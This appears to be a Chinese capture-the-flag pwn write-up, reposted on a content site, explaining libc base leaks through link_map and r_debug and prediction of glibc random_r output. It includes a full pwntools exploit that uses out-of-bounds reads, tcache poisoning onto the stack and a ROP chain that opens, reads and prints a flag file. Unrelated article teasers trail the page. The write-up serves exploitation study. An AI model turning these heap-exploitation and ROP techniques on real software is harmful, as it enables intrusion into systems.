struct link_map{/* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ElfW(Addr) l_addr;          /* Difference between the address in the ELF file and the addresses in memory. */char *l_name;               /* Absolute file name object was found in. */ElfW(Dyn) *l_ld;            /* Dynamic section of the shared object. */struct link_map *l_next, *l_prev; /* Chain of loaded objects. */};

遍历link_map,对比l_name,找到目标之后,就可以通过l_addr获得那个库的基址,当然,前提是二进制文件需要有DT_DEBUG。
通过show,先泄露r_debug地址(ld地址), 遍历linkmap寻找后发现libc的link_map与泄露的ld地址有固定偏移,然后计算偏移,下次show即可泄露(感觉泄露libc地址直接输出got表就行)

随机数

  • struct random_data *buf: 包含随机数生成器状态的结构体。
  • int32_t *result: 指向存储生成的随机数的变量。

int
__random_r (struct random_data *buf, int32_t *result)
{int32_t *state;if (buf == NULL || result == NULL)goto fail;state = buf->state;if (buf->rand_type == TYPE_0){int32_t val = ((state[0] * 1103515245U) + 12345U) & 0x7fffffff;state[0] = val;*result = val;}else{int32_t *fptr = buf->fptr;int32_t *rptr = buf->rptr;int32_t *end_ptr = buf->end_ptr;uint32_t val;val = *fptr += (uint32_t) *rptr;/* Chucking least random bit.  */*result = val >> 1;++fptr;if (fptr >= end_ptr){fptr = state;++rptr;}else{++rptr;if (rptr >= end_ptr)rptr = state;}buf->fptr = fptr;buf->rptr = rptr;}return 0;fail:__set_errno (EINVAL);return -1;
}weak_alias (__random_r, random_r)#define	TYPE_3		3
#define	BREAK_3		128
#define	DEG_3		31
#define	SEP_3		3static struct random_data unsafe_state ={
/* FPTR and RPTR are two pointers into the state info, a front and a rearpointer.  These two pointers are always rand_sep places apart, as theycycle through the state information.  (Yes, this does mean we could getaway with just one pointer, but the code for random is more efficientthis way).  The pointers are left positioned as they would be from the call:initstate(1, randtbl, 128);(The position of the rear pointer, rptr, is really 0 (as explained abovein the initialization of randtbl) because the state table pointer is setto point to randtbl[1] (as explained below).)  */.fptr = &randtbl[SEP_3 + 1],.rptr = &randtbl[1],/* The following things are the pointer to the state information table,the type of the current generator, the degree of the current polynomialbeing used, and the separation between the two pointers.Note that for efficiency of random, we remember the first location ofthe state information, not the zeroth.  Hence it is valid to accessstate[-1], which is used to store the type of the R.N.G.Also, we remember the last location, since this is more efficient thanindexing every time to find the address of the last element to see ifthe front and rear pointers have wrapped.  */.state = &randtbl[1],.rand_type = TYPE_3,.rand_deg = DEG_3,.rand_sep = SEP_3,.end_ptr = &randtbl[sizeof (randtbl) / sizeof (randtbl[0])]
};

参考汇编和源码后大致逻辑如下

  1. rand_type默认为TYPE_3,故不是直接采用线性同余产生随机数
  2. 队头fptr 自加队尾值rptr ,将此值保存为结果,然后队头队尾统一后移一项,再将结果作为生成的随机数返回即可。(fptr刚开始为第4个,总共32个,所以需要调用rand很多次才可能进入fptr >= end_ptr,所以当前edit可以认为都是else情况)

调用一次rand后fptr 和rptr 都后移四
在这里插入图片描述
这里泄露fptr 和rptr 和fptr +0x10的内容(正好八个)

思路

  1. size是0x90,free一个,然后show可以泄露heap地址
  2. nouse输满\xff,然后show负越界泄露pie地址,进而能够得到heap_list的起始地址
    在这里插入图片描述
  3. 然后show正越界泄露r_debug地址(也可以直接泄露got内的libc地址),然后根据r_debug地址偏移得到libc的link_map地址所在的地址,再得到和pie上的heap_list的偏移来show泄露libc地址
  4. 然后根据libc地址得到&randtbl[1+3]所在的地址和&randtbl[1]的地址所在的地址(unsafe_state 中有即&unsafe_state 和&unsafe_state +8),然后show泄露randtbl的内容(fptr 和rptr 和fptr +0x10的内容,每个泄露四个 泄露environ栈地址同理)或者也可以用edit_name写libc地址和show负越界来泄露
  5. 然后根据rand函数和泄露的randtbl来绕过rand在这里插入图片描述
    然后每次rand后会将fptr当前值和rptr当前值相加给fptr,由于fptr的数组和rptr的数组都是一直往右走的,由于我们最后输入八个字节到heap的next区域,所以此时根据处理函数会进行循环两次,总共八次rand,fptr和rptr移动八次,fptr这里是够的,所以最后更新的相加的值加到rptr后面
    在这里插入图片描述
  6. 最后分配到将栈地址进行相关rand处理,然后分配到栈上去,注意选择栈地址要保证对齐,不断往小尝试,这里将分配到read函数的返回地址所在的栈的位置处
    . 在这里插入图片描述
    . 在这里插入图片描述
    这里直接利用read函数残留的寄存器再次调用read的系统调用,而且地址就是刚刚调用过的

在这里插入图片描述
然后再次调用read先填充之前的,直到当前的ret对应的返回地址才开始rop
在这里插入图片描述

exp

from pwn import *s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch      = 'amd64'
context.log_level = 'debug'binary = './pwn'
libelf = ''if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)gdbscript = '''
#continue
'''.format(**locals())io = process("./pwn")def add(idx):ru('>>>')s(p32(0x48260A))ru('idx:')s(p8(idx))def edit(idx,text):ru('>>>')s(p32(0x4E430A))ru('idx:')s(p8(idx))ru('input: ')s(text)def show(idx):ru('>>>')s(p32(0x54460A))ru('idx:')s(p64(idx)[:-1])ru('ciphertext: ')def rm(idx):ru('>>>')s(p32(0x7B7D0A))ru('idx:')s(p8(idx))def edit_name(name):ru('>>>')s(p32(0x50460A))ru('>>> ')s(p32(0x65646974))ru(': ')s(name)def show_name():ru('>>>')s(p32(0x50460A))ru('>>> ')s(p32(0x73686F77))def backdoor(text):ru('>>>')s(p32(0x62640A))s(text)def rdata():ru('=============================\n')data = bytes.fromhex(rl().decode().replace(' ',''))return dataadd(0)
add(1)
rm(0)
rm(1)show(0)
data = rdata()
key  = uu64(data[:8])
heap_addr = key << 0xClss('heap_addr')backdoor('\xff'*0x38)show((1<<64)-0x13)elf_base = uu64(rdata()[:8]) - 16392heap_list = elf_base + 0x40A0
lss('heap_list')show(1068)libc_ptr= uu64((rdata()[8:])) - 0x3c9b8-0x1c8-0x558lss('libc_ptr')# leak libc_base
offset = (libc_ptr - heap_list) // 8
show(offset)
libc_base  = uu64((rdata()[:8]))
lss('libc_base')print("libc",libc_base)ptr1 = libc_base + 2205792 #   &randtbl[1+3]
ptr2 = libc_base + 2205792 + 8 # &randtbl[1]
lss('ptr1')
lss('ptr2')
offset = (ptr1 - heap_list) // 8show(offset) # randtbl[1+3] 4 content
data1  = rdata()offset = (ptr2 - heap_list) // 8show(offset) # randtbl[1] 4 content
data2  = rdata()print("data1",data1)
print("data2",data2)environ = libc_base + libc.sym['environ']
offset = libc_base + 2204196 # unsafe_state
lss('environ')
lss('offset')
name = p64(offset) + p64(environ)[:-2]
edit_name(name)backdoor('\xff'*0x38)
show((1<<64)-0xC)
data3  = rdata()
print(data3) # randtbl[1+3+4] 4 contentbackdoor('\xff'*0x38)
show((1<<64)-0xb)
stack  = uu64(rdata()[:8]) - 8 # name+8lss('stack')edx = [ uu32(data1[_:_+4]) for _ in range(0,len(data1),4)]
ecx = [ uu32(data2[_:_+4]) for _ in range(0,len(data2),4)]tmp = [ uu32(data3[_:_+4]) for _ in range(0,len(data3),4)]
print(ecx)
print(edx)
print(tmp)edx += tmpunsafe_state = 0
def me_rand(): # 直接gdb 跟进 rand() 看看随机数是怎么生成的,global unsafe_statei = unsafe_stateprint(ecx)print(edx)ecx_ = ecx[i]edx_ = edx[i]eax = ecx_ + edx_eax = eax & 0xFFFFFFFFprint('add',eax)ecx.append(1)ecx[i+3] = eaxeax = eax >> 1eax = eax & 0xFFFFFFFFprint(hex(eax))unsafe_state += 1return eax
#队头自加队尾值,将此值保存为结果,然后队头队尾统一后移一项,再将结果作为生成的随机数返回即可。def encrypto(eax):v5 = me_rand() % 703710v6 = me_rand() ^ v5v2 = (v6 + me_rand() + v5) & 0xFFFFFFFFeax ^= v2 - me_rand()return eaxret_stack = ((stack-0x190)^ key)
low  = encrypto(ret_stack & 0xFFFFFFFF)
high = encrypto(ret_stack >> 32 ) << 32expdata = high + lowprint(expdata)gdb.attach(io)edit(1,p64(expdata))add(2)
add(3)pause()
rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
rdx = libc_base + 0x000000000011f2e7 # pop rdx ; pop r12 ; ret
rdi = libc_base + 0x2a3e5 # pop rdi ; ret
rsi = libc_base + 0x02be51 # pop rsi ; ret
syscall = libc_base + libc.sym['read'] + 16 # syscallpay  =  b"a"*0x28
pay += p64(rax) + p64(0)    # 0x38
pay += p64(rdx) + p64(0x1000)*2 # 0x50
pay += p64(syscall)
edit(3,pay)# #define __NR_openat2 437flag_addr = stack-0x68pay  = b'b' * 0x58 #
pay += p64(rax) + p64(0x101) + p64(rdi) + p64(rax) + p64(0x101) + p64(rdi)+p64(0xffffffffffffff9c) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0) * 2 + p64(syscall)
pay += p64(rdi) + p64(3) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x100) * 2 + p64(libc_base + libc.sym['read'])
pay += p64(rdi) + p64(1) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x100) * 2 + p64(libc_base + libc.sym['write'])
pay += b'./flag'.ljust(0x8,b'\x00')sl(pay)
io.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/873577.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从零开始学量化~Ptrade使用教程(七)——期权相关操作

期权交易 可点击证券代码右侧的选&#xff0c;进入期权选择菜单。通过选择标的商品&#xff0c;认购期权和认沽期权中间的选项&#xff08;包括代码、成交价、幅度%、隐波%、内在价值、时间价值等&#xff09;&#xff0c;以及认购期权或认沽期权&#xff0c;选择所需的期权标的…

计算机网络入门 -- 常用网络协议

计算机网络入门 – 常用网络协议 1.分类 1.1 模型回顾 计算机网络细分可以划为七层模型&#xff0c;分别是物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。而上三层可以划为应用层中。 1.2 分类 1.2.1 应用层 为用户的应用进程提供网络通信服务&#xff0…

深入浅出WebRTC—DelayBasedBwe

WebRTC 中的带宽估计是其拥塞控制机制的核心组成部分&#xff0c;基于延迟的带宽估计是其中的一种策略&#xff0c;它主要基于延迟变化推断出可用的网络带宽。 1. 总体架构 1.1. 静态结构 1&#xff09;DelayBasedBwe 受 GoogCcNetworkController 控制&#xff0c;接收其输入…

buu--web做题(4)

目录 [BJDCTF2020]ZJCTF&#xff0c;不过如此 [BUUCTF 2018]Online Tool [BJDCTF2020]ZJCTF&#xff0c;不过如此 <?phperror_reporting(0); $text $_GET["text"]; $file $_GET["file"]; if(isset($text)&&(file_get_contents($text,r)&q…

【iOS】——消息传递底层实现

消息传递是什么 Objective-C是一种动态类型语言&#xff0c;这意味着在编译时并不确定对象的具体类型&#xff0c;而是在运行时决定。消息传递机制允许程序在运行时向对象发送消息&#xff0c;对象再决定如何响应这些消息。 当你通过对象调用方法时&#xff0c;例如像这样[ob…

PhantomJs将html生成img|pdf

PhantomJS PhantomJS是一个可编程的无头浏览器&#xff0c;‌它基于WebKit内核&#xff0c;‌通过JavaScript API进行脚本化操作&#xff0c;它对各种web标准有快速和原生化的支持&#xff0c;包括DOM处理、CSS选择器、JSON、Canvas和SVG。‌无头浏览器指的是一个完整的浏览器内…

Linux——多路复用之poll

目录 前言 一、poll的认识 二、poll的接口 三、poll的使用 前言 前面我们学习了多路复用的select&#xff0c;知道多路复用的原理与select的使用方法&#xff0c;但是select也有许多缺点&#xff0c;导致他的效率不算高。今天我们来学习poll的使用&#xff0c;看看poll较于…

Linux先行一步

&#x1f4d1;打牌 &#xff1a; da pai ge的个人主页 &#x1f324;️个人专栏 &#xff1a; da pai ge的博客专栏 ☁️宝剑锋从磨砺出&#xff0c;梅花香自苦寒来 ☁️运维工程师的职责&#xff1a;监…

初识模板【C++】

P. S.&#xff1a;以下代码均在VS2022环境下测试&#xff0c;不代表所有编译器均可通过。 P. S.&#xff1a;测试代码均未展示头文件stdio.h的声明&#xff0c;使用时请自行添加。 博主主页&#xff1a;LiUEEEEE                        …

AV1技术学习:Intra Prediction

对于帧内预测模式编码块&#xff0c;亮度分量的预测模式和色度分量的预测模式在比特流中分别发出信号。亮度预测模式是基于相邻左侧和上侧两个编码块预测上下文的概率模型进行熵编码的。色度预测模式的熵编码取决于色度预测模式的状态。帧内预测以变换块为单位&#xff0c;并使…

Linux下文件I/O操作

读取 time.txt 文件&#xff0c;写入到time_2.txt 一、函数 1.1、open() 函数 #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int open(const char *pathname, int flags); int open(const char *pathname, int flags, mode_t mode);…

RDMA 高性能架构基本原理与设计方案

在进行本文的学习学习之前&#xff0c;我们先对RDMA是什么做一个简单的科普与认识&#xff1a;一文带你了解什么是RDMA-CSDN博客 目录&#xff1a; 目录&#xff1a; 一、RDMA和传统网络方案的比较 1.1 传统网络方案&#xff1a; 1.1.1 缺点一&#xff1a;以太网卡&#xff0…

debian 更新源

前言 实现一键替换在线源 一键更新源 Debian 全球镜像站以下支持现有debian 11 12 echo "Delete the default source" rm -rf /etc/apt/sources.listecho "Build a new source" cat <<EOF>>/etc/apt/sources.list.d/debian.sources Types:…

Tensorflow入门实战 T09进行猫狗识别2

目录 1、前言 2、代码 3、运行结果 4、反思 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 | 接辅导、项目定制 1、前言 本周学习内容为&#xff0c;采用自己设置的vgg-16网络进行猫狗识别&#xff0c;使用的模型是YO…

自动驾驶三维车道线检测系列—LATR: 3D Lane Detection from Monocular Images with Transformer

文章目录 1. 概述2. 背景介绍3. 方法3.1 整体结构3.2 车道感知查询生成器3.3 动态3D地面位置嵌入3.4 预测头和损失 4. 实验评测4.1 数据集和评估指标4.2 实验设置4.3 主要结果 5. 讨论和总结 1. 概述 3D 车道线检测是自动驾驶中的一个基础但具有挑战性的任务。最近的进展主要依…

vscode搭建PyQt + Quick开发环境

VScode搭建PyQt Quick开发环境 目录 环境准备 &#x1f514;安装必要的Python包 &#x1f514;&#x1f50e; PyQt5和PySide2的区别&#x1f4be; 安装PyQt5&#x1f4be; 安装PySide2 配置VScode &#x1f514;&#x1f4bb; 安装扩展 代码示例 &#x1f514;✔ Python调用Qt…

【Django】django自带后台管理系统样式错乱,uwsgi启动css格式消失的问题

正常情况&#xff1a; ERROR&#xff1a;&#xff08;css、js文件加载失败&#xff09; 问题&#xff1a;CSS加载的样式没有了&#xff0c;原因&#xff1a;使用了django自带的admin&#xff0c;在使用 python manage.py runserver启动 的时候&#xff0c;可以加载到admin的文…

如何学习Spark:糙快猛的大数据之旅

作为一名大数据开发者,我深知学习Spark的重要性。今天,我想和大家分享一下我的Spark学习心得,希望能够帮助到正在学习或准备学习Spark的朋友们。 目录 Spark是什么?学习Spark的"糙快猛"之道1. 不要追求完美,在实践中学习2. 利用大模型作为24小时助教3. 根据自己的节…

无人机的发展前景大吗?

随着科技的飞速发展&#xff0c;无人机&#xff08;Unmanned Aerial Vehicle, UAV&#xff09;作为一种新兴的航空器&#xff0c;已逐渐从军事领域渗透到民用领域。无人机的应用广泛&#xff0c;包括但不限于航拍、物流配送、环境监测、农业植保、应急救援等多个领域。本文旨在…

Chromium CI/CD 之Jenkins实用指南2024-在Windows节点上创建任务(九)

1. 引言 在现代软件开发流程中&#xff0c;持续集成&#xff08;CI&#xff09;和持续交付&#xff08;CD&#xff09;已成为确保代码质量和加速发布周期的关键实践。Jenkins作为一款广泛应用的开源自动化服务器&#xff0c;通过其强大的插件生态系统和灵活的配置选项&#xf…